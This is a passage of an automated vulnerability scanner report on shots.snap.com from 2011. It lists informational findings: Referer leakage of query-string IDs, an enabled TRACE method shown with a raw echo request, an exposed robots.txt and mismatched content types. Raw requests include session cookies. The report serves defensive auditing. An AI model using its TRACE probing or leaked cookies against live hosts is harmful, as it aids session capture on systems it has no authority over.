Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response 2

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:21:50 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 184

if (typeof SNAP_COM == "undefined") { SNAP_COM = {}; }
SNAP_COM.autoshot = {"Results":{}}
;
if (SNAP_COM.shot && SNAP_COM.shot.autoshot_init) { SNAP_COM.shot.autoshot_init(true) }

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/rk.php

Issue detail

The page was loaded from a URL containing a query string:

http://shots.snap.com/rk.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&lang=en-us&th=silver&src=www.slaviks-blog.com&cp=Shotsense&s=small&svc=&tag=&atext=posted&title=Musings%20on%20Database%20Security&dfs=10&call=0&uid=16266132404ce087181f51bbd2d1a9b9&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&fl=null&size=320x79

The response contains the following link to another domain:

http://direct.i.ixnp.com/images/ss_conf/89fdd0457a773fb9e78a2ee3e0b8ebd3/10.10.55:7780

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /rk.php?url=http%3A%2F%2Fwww.mcafee.com%2Fus%2Fresources%2Fsolution-briefs%2Fsb-lizamoon-sql-injection.pdf&key=6e8afd4f63cdc7886a3f718aa78c7375&lang=en-us&th=silver&src=www.slaviks-blog.com&cp=Shotsense&s=small&svc=&tag=&atext=posted&title=Musings%20on%20Database%20Security&dfs=10&call=0&uid=16266132404ce087181f51bbd2d1a9b9&vid=89fdd0457a773fb9e78a2ee3e0b8ebd3&fl=null&size=320x79 HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.slaviks-blog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots

Response

7. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: shots.snap.com
Cookie: 84259dd932e40400

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:05 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: shots.snap.com
Cookie: 84259dd932e40400

8. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: shots.snap.com

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:21:06 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
Last-Modified: Thu, 24 Apr 2008 15:53:27 GMT
ETag: "1a-44ba0733bebc0"
Accept-Ranges: bytes
Content-Length: 26
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /

9. Content type incorrectly stated previous
There are 4 instances of this issue:

/asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js
/asj/v1/spakey/1797024321/auto_shot.js
/favicon.ico
/snap_shots.js

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

9.1. http://shots.snap.com/asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/asj/v1/6e8afd4f63cdc7886a3f718aa78c7375/2863866373/auto_shot.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

9.2. http://shots.snap.com/asj/v1/spakey/1797024321/auto_shot.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/asj/v1/spakey/1797024321/auto_shot.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /asj/v1/spakey/1797024321/auto_shot.js?sz=6493&lm=04/26/2011%2001%3A47%3A33&size=large&ad_only=1&accept=shots HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Referer: http://www.snap.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780536; session=id%3D55022ba0e047fea09f979fd4570d39f9%26time%3D1303782435%26created_time%3D1303782435; __utma=241625280.1756088163.1303782451.1303782451.1303782451.1; __utmb=241625280; __utmc=241625280; __utmz=241625280.1303782451.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:47:22 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Cache-Control: max-age=7200
Expires: Tue, 26 Apr 2011 03:47:22 GMT
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 55

if (typeof SNAP_COM == "undefined") { SNAP_COM = {}; }

9.3. http://shots.snap.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: shots.snap.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user=id%3D16266132404ce087181f51bbd2d1a9b9%26exp%3D1366766106%26v%3D2%26origin%3Dshots%26call%3D1%26time%3D1303780536; __utma=241625280.1756088163.1303782451.1303782451.1303782451.1; __utmz=241625280.1303782451.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); spa=spauser%3D1%26spadomain%3Dwww.slaviks-blog.com

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 17:30:37 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/1.0.0 PHP/5.2.17
Last-Modified: Fri, 04 May 2007 00:08:54 GMT
ETag: "13e-42f99c1c11180"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain; charset=UTF-8
Content-Length: 318

..............(.......(....... ...............................................w...c.q.......................a...\...s.l.^......"""""!.!.......#UC!....E..B...y...Tq......E1...;...A..S...VQ...8...A...8
...[SNIP]...

9.4. http://shots.snap.com/snap_shots.js previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://shots.snap.com
Path:	/snap_shots.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

Report generated by XSS.CX at Tue Apr 26 12:33:03 CDT 2011.